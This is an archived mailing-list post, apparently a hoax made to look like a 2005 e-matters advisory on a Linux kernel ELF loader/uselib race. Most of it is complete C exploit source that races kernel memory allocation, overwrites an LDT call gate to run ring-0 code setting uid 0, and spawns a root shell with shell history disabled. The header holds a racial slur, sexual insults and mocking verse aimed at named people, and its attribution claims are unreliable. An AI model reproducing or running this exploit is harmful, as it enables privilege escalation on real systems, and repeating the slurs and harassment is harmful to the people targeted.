lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
From: s.esser at ematters.de (Stefan Esser)
Subject: Advisory 1/2005 - Linux Kernel arbitrary code
	execution vulnerability.

/* A New Initiative for a New Year
 *  
 * E-matters are pleased to announce their new Microsoft-approved 
 * Responsible Disclosure initiative in which we will be working
 * very closely with eEye, iDefense and the vendersec mailing list:
 * "e-eyeDefenderSec - Because the 'e'-matters"
 * 
 ****
 *
 * Advisory 1/2005
 * Linux Kernel arbitrary code execution vulnerability.
 * 
 * Release Date:	2005/01/06
 * Author:		Stefan Esser [s.esser@...tters.de] 
 * Application:		Linux Kernel <= 2.4.28, <= 2.6.10
 * Severity:		A vulnerability exists in the ELF loader code
 * 			allowing for an attacker to execute code as root.
 * Risk:		Critical
 * Reference:		This advisory will soon be available on the e-matters
 * 			website.
 * Last Modified:  	2005/01/06
 *
 ****
 *
 * Preamble
 * Contributed by Marc 'The Narc' Maffrait / MCSE Hammer of eEye digital
 * security.
 *
 * damn isec fools falling for teh bait
 * dat ret for cliph's box hella accurate
 *
 * sniffing on your upstream scopin for gold
 * hittin pay dirt with this here kernel hole
 * 
 * responsibly disclosing crap you didn't know before
 * e-eyeDefenderSec steppin' up the 2k5 score
 * 
 * u done dropped that httpd, askin yourself 'wtf be wrong wiff me?'
 * your eyes are too full of dollar bills to see
 *
 * we're two steps ahead, and even some to the side
 * step the fuck back bitch..make, run..and hide.
 *
 ****
 *
 * Overview
 *
 * The Linux Kernel is the core of any Linux operating system. Security
 * issues within the Kernel allow for attackers to execute code within 
 * the context of the kernel. This allows for attackers to gain root
 * access to a Linux system.
 *
 ****
 *
 * Details
 *
 * Due to a missing down() call for the semaphore 'current->mm->mmap_sem'
 * it is possible to create two over-lapping VMAs and exploit behaviour in
 * mremap that allows you to map kernel memory into userland address ranges.
 * This can be exploited by an attacker in many ways.	 
 *
 ****
 *
 * Proof of Concept
 * e-matters proof of concept code is attached.
 *
 ****
 *
 * Disclosure Timeline
 *
 * 15. Dec 2004	Issue discovered by Stefan Esser.
 * 16. Dec 2004	Issue discussed with Sebastian Kraemer of SuSe
 * 18. Dec 2004 Issue disclosed to the other contributors to e-eyeDefenderSec
 * 22. Dec 2004	Proof of concept code developed with e-eyeDefenderSec
 * 24. Dec 2004	Linux kernel team informed of security problem.
 * 2. Jan 2005	Linux kernel team reply that they fixed the problem.
 * 3. Jan 2005  divineint gives up on trying to make the PoC code work
 * 		and rates the exploit as 'fake - possible trojan'.
 * 4. Jan 2005	PoC code improved by Sebastian Kraemer and Stefan Esser
 * 6. Jan 2005	Public Disclosure
 *
 ****
 *
 * Recommendation
 *
 * We strongly recommend upgrading to the latest Linux kernel.
 * There is no known work-around for this issue.
 *
 ****
 *
 * GPG-Key
 *
 * pub 1024D/3004C4BC 2004-05-17 e-matters GmbH - Securityteam
 * Key fingerprint = 3FFB 7C86 7BE8 6981 D1DA A71A 6F7D 572D 3004 C4BC 	 
 *
 *
 ****
 *
 * Closing Remarks
 *
 * "vendor-sec is a great mailing list, since it serves the security community
 * so well.  Would it not be for vendor-sec, information would be given to the
 * general public faster, and patches deployed faster.  Instead, the list puts
 * exploits and bug information directly in the hand of blackhats, and gives 
 * them a reliable attack window to pick their targets before a patch is made
 * public."
 *  - dick "up my ass" johnson, iDEFENSE Plagiarist and Anal Sex Expert,
 *    Internet Pioneer, GOBBLES Founder, apache-scalp author, Intrepid 
 *    Vulnerability Discloser, bsdauth vulnerability discoverer, princessj 
 *    anal destroyer, Mark Dowd, The Fluffy Bunny, Defacer of security.is,
 *    destroyer of divineint, scourge of scriptkids, the one the only,
 *    inventer of the internet GOLDEN GOD.
 *    
 * Special thanks to: 	Derek Calloway (aka jimjones / the_uT) of @stake.
 *			Mayhem (thanks for the shellcode help you grumpy frog :))
 *			cliph (seriously bro, Firefox has updates for a reason)
 *
 * ... and that KF nigger.
 *
 ****
 * 
 * Testbeds
 *
 * clarity.local - <thief> werd up
 * cvs.kernel.org - I bet you don't find the backdoor *this* time ;)
 * 
 ****
 *
 * Copyright 2004, 2005 Stefan Esser and e-matters.de - All rights reserved.
 *
 */#define _GNU_SOURCE#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sched.h>
#include <syscall.h>
#include <limits.h>#include <sys/types.h>
#include <sys/wait.h>
#include <sys/time.h>
#include <sys/mman.h>
#include <sys/sysinfo.h>#include <linux/elf.h>
#include <linux/linkage.h>#include <asm/page.h>
#include <asm/ldt.h>
#include <asm/segment.h>#define str(s) #s
#define xstr(s) str(s)#define MREMAP_MAYMOVE  1
//	temp lib location
#define LIBNAME 	"/dev/shm/_elf_lib"//	shell name
#define	SHELL		"/bin/bash"//	time delta to detect race
#define RACEDELTA	5000//	if you have more deadbebes in memory, change this
#define MAGIC		0xdeadbabe
//	do not touch
#define	SLAB_THRSH	128
#define	SLAB_PER_CHLD	(INT_MAX - 1)
#define LIB_SIZE	( PAGE_SIZE * 4 )
#define STACK_SIZE	( PAGE_SIZE * 4 )#define LDT_PAGES	( (LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1)/PAGE_SIZE )#define ENTRY_GATE	( LDT_ENTRIES-1 )
#define GATESEL		( (ENTRY_GATE<<3)|0x07 )#define kB		* 1024
#define MB		* 1024 kB
#define GB		* 1024 MB#define TMPLEN		256
#define PGD_SIZE	( PAGE_SIZE*1024 )
extern char **environ;static char cstack[STACK_SIZE];
static char name[TMPLEN];
static char line[TMPLEN];
static volatile int
	val = 0,
	go = 0,
	finish = 0,
	scnt = 0,
	old_esp = 0,
	delta = 0,
	map_flags = PROT_WRITE|PROT_READ;
static int
	fstop=0,
	brute=0,
	ccnt=0,
	pidx,
	pnum=0,
	smp=4,
	cpid,
	uid,
	task_size,
	old_esp,
	lib_addr,
	map_count=0,
	map_base,
	map_addr,
	addr_min,
	addr_max,
	vma_start,
	vma_end,
	max_page;
static struct timeval tm1, tm2;static char *myenv[] = {"TERM=vt100",
			"HISTFILE=/dev/null",
			NULL};
static char *pagemap;#define __NR_sys_gettimeofday	__NR_gettimeofday
#define __NR_sys_sched_yield	__NR_sched_yield
#define __NR_sys_madvise	__NR_madvise
#define __NR_sys_uselib		__NR_uselib
#define __NR_sys_mmap2		__NR_mmap2
#define __NR_sys_munmap		__NR_munmap
#define __NR_sys_mprotect	__NR_mprotect
#define __NR_sys_mremap		__NR_mremapinline _syscall6(int, sys_mmap2, int, a, int, b, int, c, int, d, int, e, int, f);inline _syscall5(int, sys_mremap, int, a, int, b, int, c, int, d, int, e);inline _syscall3(int, sys_madvise, void*, a, int, b, int, c);
inline _syscall3(int, sys_mprotect, int, a, int, b, int, c);
inline _syscall3( int, modify_ldt, int, func, void *, ptr, int, bytecount );inline _syscall2(int, sys_gettimeofday, void*, a, void*, b);
inline _syscall2(int, sys_munmap, int, a, int, b);inline _syscall1(int, sys_uselib, char*, l);inline _syscall0(void, sys_sched_yield);inline int tmdiff(struct timeval *t1, struct timeval *t2)
{
int r;	r=t2->tv_sec - t1->tv_sec;
	r*=1000000;
	r+=t2->tv_usec - t1->tv_usec;
return r;
}
void fatal(const char *message, int critical)
{
int sig = critical? SIGSTOP : (fstop? SIGSTOP : SIGKILL);	if(!errno) {
		fprintf(stdout, "\n[-] FAILED: %s ", message);
	}
	else {
		fprintf(stdout, "\n[-] FAILED: %s (%s) ", message,
			(char*) (strerror(errno)) );
	}
	if(critical)
		printf("\nCRITICAL, entering endless loop");
	printf("\n");
	fflush(stdout);	unlink(LIBNAME);
	kill(cpid, SIGKILL);
	for(;;) kill(0, sig);
}
//	try to race do_brk sleeping on kmalloc, may need modification for SMP
static int raceme(void* v)
{
int r;	printf("\n[+] exploit thread running pid=%d", getpid() ); fflush(stdout);
	finish=1;	for(;;) {
		errno = 0;//	check if raced:
recheck:
		if(!go) sys_sched_yield();
		sys_gettimeofday(&tm2, NULL);
		delta = tmdiff(&tm1, &tm2);
		if(delta < RACEDELTA) goto recheck;//	check if lib VMAs exist as expected under race condition
recheck2:
		r = sys_madvise((void*) lib_addr, PAGE_SIZE, MADV_NORMAL);
		if(r) continue;
		errno = 0;
		r = sys_madvise((void*) (lib_addr+PAGE_SIZE),
				LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
		if(!r || (r<0 && errno != ENOMEM) ) continue;//	SMP?
		if(smp-->=0) goto recheck2;//	recheck race
		if(!go) continue;
		finish++;//	we need to free one vm_area_struct for mmap to work
		r = sys_mprotect(map_addr, PAGE_SIZE, map_flags);
		if(r) fatal("mprotect", 0);
		r = sys_mmap2(lib_addr + PAGE_SIZE*2, PAGE_SIZE, PROT_READ|PROT_WRITE,
			      MAP_SHARED|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
		if(-1 == r) fatal("mmap2 race", 0);
		printf("\n[+] race delta=%d maps=%d", delta, map_count); fflush(stdout);
		_exit(0);
	}return 0;
}
//	get uid=0 kernel code (stolen from cliph)
asmlinkage void kernel_code(unsigned *task)
{
unsigned *addr = task;//	find & reset uids
	while(addr[0] != uid || addr[1] != uid ||
	      addr[2] != uid || addr[3] != uid)
		addr++;	addr[0] = /*addr[1] = */addr[2] = addr[3] = 0;
	addr[4] = addr[5] = addr[6] = addr[7] = 0;//	find & correct VMA
	for(addr=(unsigned *)task_size; (unsigned)addr<addr_min; addr++) {
		if(addr[0] >= task_size && addr[1] == vma_start &&
		   addr[2] == vma_end && addr[3] >= task_size ) {
			addr[1] = task_size - PAGE_SIZE;
			addr[2] = task_size;
			break;
		}
	}
}
void kcode(void);void __kcode(void)
{
asm(
	"kcode:						\n"
	"	pusha					\n"
	"	pushl	%es				\n"
	"	pushl	%ds				\n"
	"	movl	$("xstr(__KERNEL_DS)") ,%edx	\n"
	"	movl	%edx,%es			\n"
	"	movl	%edx,%ds			\n"
	"	movl	$0xffffe000,%eax		\n"
	"	andl	%esp,%eax			\n"
	"	pushl	%eax				\n"
	"	call	kernel_code			\n"
	"	addl	$4, %esp			\n"
	"	popl	%ds				\n"
	"	popl	%es				\n"
	"	popa					\n"
	"	lret					\n"
);
}
void static sigfailed(int v)
{
	ccnt++;
	fatal("lcall", 1);
}
//	modify LDT & exec
void try_to_exploit(unsigned addr)
{
volatile int r, *v;	printf("\n[!] try to exploit 0x%.8x", addr); fflush(stdout);
	r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC);
	if(r) fatal("mprotect 1", 1);//	check if really LDT
	v = (void*) (addr + (ENTRY_GATE*LDT_ENTRY_SIZE % PAGE_SIZE) );
	signal(SIGSEGV, sigfailed);
	r = *v;
	if(r != MAGIC) {
		printf("\n[-] FAILED val = 0x%.8x", r); fflush(stdout);
		fatal("find LDT", 1);
	}//	yeah!
	*v = ((unsigned)__KERNEL_CS << 16) | ((unsigned)kcode & 0xffffU);
	*(v+1) = ((unsigned)kcode & ~0xffffU) | 0xec00U;
	printf("\n[+] SUCCESS (LDT found v=0x%.8x)", *v); fflush(stdout);//	reprotect to get one VMA
	r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|PROT_EXEC);
	if(r) fatal("mprotect 2", 1);//	CPL0 transition
	asm("lcall $" xstr(GATESEL) ",$0x0");
	if( getuid()==0 ) {
		printf("\n[+] exploited, uid=0\n" ); fflush(stdout);
	} else {
		printf("\n[-] uid change failed" ); fflush(stdout);
		sigfailed(0);
	}
	signal(SIGTERM, SIG_IGN);
	kill(0, SIGTERM);
	execl(SHELL, "sh", NULL);
	fatal("execl", 0);
}
void static scan_mm_finish();
void static scan_mm_start();
//	kernel page table scan code
void static scan_mm()
{
	map_addr -= PAGE_SIZE;
	if(map_addr <= addr_min)
		scan_mm_start();	scnt=0;
	val = *(int*)map_addr;
	scan_mm_finish();
}
void static scan_mm_finish()
{
retry:
	__asm__("movl	%0, %%esp" : :"m"(old_esp) );	if(scnt) {
		pagemap[pidx] ^= 1;
	}
	else {
		sys_madvise((void*)map_addr, PAGE_SIZE, MADV_DONTNEED);
	}
	pidx--;
	scan_mm();
	goto retry;
}
//	make kernel page maps before and after allocating LDT
void static scan_mm_start()
{
static int npg=0;
static struct modify_ldt_ldt_s l;
static struct sysinfo si;	pnum++;
	if(pnum==1) {
		sysinfo(&si);
		addr_min = task_size + si.totalram;
		addr_min = (addr_min + PGD_SIZE - 1) & ~(PGD_SIZE-1);
		addr_max = addr_min + si.totalram;
		if(addr_max >= 0xffffe000 || addr_max < addr_min)
			addr_max = 0xffffd000;		printf("\n[+] vmalloc area 0x%.8x - 0x%.8x", addr_min, addr_max);
		max_page = (addr_max - addr_min) / PAGE_SIZE;		pagemap = malloc( max_page + 32 );
		if(!pagemap) fatal("malloc pagemap", 1);
		memset(pagemap, 0, max_page + 32);		pidx = max_page-1;
	}
	else if(pnum==2) {
		memset(&l, 0, sizeof(l));
		l.entry_number = LDT_ENTRIES-1;
		l.seg_32bit = 1;
		l.base_addr = MAGIC >> 16;
		l.limit = MAGIC & 0xffff;
		l.limit_in_pages = 1;
		if( modify_ldt(1, &l, sizeof(l)) != 0 )
			fatal("modify_ldt", 1);		pidx = max_page-1;
	}
	else if(pnum==3) {
		npg=0;
		for(pidx=0; pidx<=max_page-1; pidx++) {
			if(pagemap[pidx]) {
				npg++;
				fflush(stdout);
			}
			else if(npg == LDT_PAGES) {
				npg=0;
				try_to_exploit(addr_min + (pidx-1)*PAGE_SIZE);
			} else {
				npg=0;
			}
		}
		fatal("find LDT", 1);
	}//	save context & scan page table
	__asm__("movl	%%esp, %0" : :"m"(old_esp) );
	map_addr = addr_max;
	scan_mm();
}
//	return number of available SLAB objects in cache
static int get_slab_objs(const char *sn)
{
static int c, d, u = 0, a = 0;
FILE *fp=NULL;	fp = fopen("/proc/slabinfo", "r");
	if(!fp)
		fatal("get_slab_objs: fopen", 0);
	fgets(name, sizeof(name) - 1, fp);
	do {
		c = u = a = -1;
		if (!fgets(line, sizeof(line) - 1, fp))
			break;
		c = sscanf(line, "%s %u %u %u %u %u %u", name, &u, &a,
			   &d, &d, &d, &d);
	} while (strcmp(name, sn));
	close(fileno(fp));
	fclose(fp);
	return c == 7 ? a - u : -1;
}
//	leave one object in the SLAB
inline void prepare_slab()
{
int *r;	map_addr -= PAGE_SIZE;
	map_count++;
	map_flags ^= PROT_READ;	r = (void*)sys_mmap2((unsigned)map_addr, PAGE_SIZE, map_flags,
		MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0 );
	if(MAP_FAILED == r) {
		fatal("try again", 0);
	}
	*r = map_addr;
}
//	sig handlers
void static segvcnt(int v)
{
	scnt++;
	scan_mm_finish();
}
void static reaper(int v)
{
	ccnt++;
	waitpid(0, &v, WNOHANG|WUNTRACED);
}
//	use elf library and try to sleep on kmalloc
void exploitme()
{
int r, sz;	printf("\n    cat /proc/%d/maps", getpid() ); fflush(stdout);
	signal(SIGCHLD, reaper);
	signal(SIGSEGV, segvcnt);
	signal(SIGBUS, segvcnt);//	helper clone
	finish=0; ccnt=0;
	sz = sizeof(cstack) / sizeof(cstack[0]);
	cpid = clone(&raceme, (void*) &cstack[sz-16],
			CLONE_VM|CLONE_SIGHAND|CLONE_FS|SIGCHLD, NULL );
	if(-1==cpid) fatal("clone", 0);//	synchronize threads
	while(!finish) sys_sched_yield();
	finish=0;//	try to hit the kmalloc race
	for(;;) {		r = get_slab_objs("vm_area_struct");
		while(r != 1) {
			prepare_slab();
			r--;
		}		sys_gettimeofday(&tm1, NULL);
		go = 1;
		r=sys_uselib(LIBNAME);
		go = 0;
		if(r) fatal("uselib", 0);
		if(finish) break;//	wipe lib VMAs and try again
		r = sys_munmap(lib_addr, LIB_SIZE);
		if(-1==r || ccnt) goto failed;
	}//	seems we raced
	r = sys_munmap(map_addr, map_base-map_addr + PAGE_SIZE);
	if(r) fatal("munmap 1", 0);
	r = sys_munmap(lib_addr, PAGE_SIZE);
	if(r) fatal("munmap 2", 0);//	write protect brk VMA to fool vm_enough_memory()
	r = sys_mprotect((lib_addr + PAGE_SIZE), LIB_SIZE-PAGE_SIZE,
			 PROT_READ|PROT_EXEC);
	if(-1==r) fatal("mprotect brk", 0);//	this will finally make the big VMA...
	sz = (0-lib_addr) - LIB_SIZE - PAGE_SIZE;
expand:
	r = sys_madvise((void*)(lib_addr + PAGE_SIZE),
			LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
	if(r) fatal("madvise", 0);
	r = sys_mremap(lib_addr + LIB_SIZE-PAGE_SIZE,
			PAGE_SIZE, sz, MREMAP_MAYMOVE, 0);
	if(-1==r) {
		if(0==sz) fatal("mremap: expand VMA", 0);
		else { sz -= PAGE_SIZE; goto expand; }
	}
	vma_start = lib_addr + PAGE_SIZE;
	vma_end = vma_start + sz + 2*PAGE_SIZE;//	try to figure kernel layout
	printf("\n    expanded VMA (0x%.8x-0x%.8x)", vma_start, vma_end);
	fflush(stdout);
	scan_mm_start();failed:
	fatal("try again", 0);}
//	make fake ELF library
static void make_lib()
{
struct elfhdr eh;
struct elf_phdr eph;
static char tmpbuf[PAGE_SIZE];
int fd;//	make our elf library
	umask(022);
	unlink(LIBNAME);
	fd=open(LIBNAME, O_RDWR|O_CREAT|O_TRUNC, 0755);
	if(fd<0) fatal("open lib", 0);
	memset(&eh, 0, sizeof(eh) );//	elf exec header
	memcpy(eh.e_ident, ELFMAG, SELFMAG);
	eh.e_type = ET_EXEC;
	eh.e_machine = EM_386;
	eh.e_phentsize = sizeof(struct elf_phdr);
	eh.e_phnum = 1;
	eh.e_phoff = sizeof(eh);
	write(fd, &eh, sizeof(eh) );//	section header:
	memset(&eph, 0, sizeof(eph) );
	eph.p_type = PT_LOAD;
	eph.p_offset = 4096;
	eph.p_filesz = 4096;
	eph.p_vaddr = lib_addr;
	eph.p_memsz = LIB_SIZE;
	eph.p_flags = PF_W|PF_R|PF_X;
	write(fd, &eph, sizeof(eph) );//	execable code
	lseek(fd, 4096, SEEK_SET);
	memset(tmpbuf, 0x90, sizeof(tmpbuf) );
	write(fd, &tmpbuf, sizeof(tmpbuf) );
	close(fd);
}
//	move stack down #2
void prepare_finish()
{
int r;
	old_esp &= ~(PAGE_SIZE-1);
	old_esp -= PAGE_SIZE;
	task_size = ((unsigned)old_esp + 1 GB ) / (1 GB) * 1 GB;
	r = sys_munmap(old_esp, task_size-old_esp);
	if(r) fatal("unmap stack", 0);//	setup rt env
	uid = getuid();
	lib_addr = task_size - LIB_SIZE - PAGE_SIZE;
	map_base = map_addr = (lib_addr - PGD_SIZE) & ~(PGD_SIZE-1);
	printf("\n[+] moved stack %x, task_size=%x, map_base=%x",
		old_esp, task_size, map_base); fflush(stdout);	make_lib();
	exploitme();
}
//	move stack down #1
void prepare()
{
unsigned p=0;	environ = myenv;	p = sys_mmap2( 0, STACK_SIZE, PROT_READ|PROT_WRITE,
		       MAP_PRIVATE|MAP_ANONYMOUS, 0, 0	);
	if(-1==p) fatal("mmap2 stack", 0);
	p += STACK_SIZE - 64;
	__asm__("movl	%%esp, %0	\n"
		"movl 	%1, %%esp	\n"
		: : "m"(old_esp), "m"(p)
	);
	prepare_finish();
}
void static chldcnt(int v)
{
	ccnt++;
}
//	alloc slab objects...
inline void do_wipe()
{
int *r, c=0, left=0;
	
	__asm__("movl	%%esp, %0" : : "m"(old_esp) );	old_esp = (old_esp - PGD_SIZE) & ~(PGD_SIZE-1);
	for(;;) {
		if(left<=0)
			left = get_slab_objs("vm_area_struct");
		if(left <= SLAB_THRSH)
			break;
		left--;		map_flags ^= PROT_READ;
		old_esp -= PAGE_SIZE;
		r = (void*)sys_mmap2(old_esp, PAGE_SIZE, map_flags,
			MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0 );
		if(MAP_FAILED == r)
			break;		c++;
		if(c>SLAB_PER_CHLD)
			break;
		if( (c%1024)==0 ) {
			printf("\rchild %d %d", val, c);
			fflush(stdout);
		}
	}	kill(getppid(), SIGUSR1);
	for(;;) pause();
}
void wipe_slab()
{
	signal(SIGUSR1, chldcnt);
	for(;;) {
		ccnt=0;
		val++;
		cpid = fork();
		if(!cpid) {
			printf("\n");
			do_wipe();
		}
		pause();
		if( get_slab_objs("vm_area_struct") <= SLAB_THRSH )
			break;
		sys_sched_yield();
	}
	printf("\n");
	signal(SIGUSR1, SIG_DFL);
}
void usage(char *n)
{
	printf("\nUsage: %s\t-s forced stop\n", n);
	printf("\t\t-n SMP iterations\n");
	printf("\t\t-b empty SLAB mode\n");
	printf("\n");
	_exit(1);
}
//	give -s for forced stop, -b to clean SLAB
int main(int ac, char **av)
{
int r;	while(ac) {
		r = getopt(ac, av, "bsn:");
		if(r<0) break;		switch(r) {
		case 's' :
			fstop = 1;
			break;		case 'n' :
			smp = atoi(optarg);
			if(smp<0) fatal("bad value", 0);
			break;		case 'b' :
			brute = 1;
			break;		default:
			usage(av[0]);
			break;
		}
	}	uid = getuid();
	setpgrp();
	if(brute)
		wipe_slab();
	prepare();return 0;
}


 http://www.sharpmail.co.uk - "Live in your world, email in ours" Send 'fake' email for free!
 Remove this footer by upgrading.

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ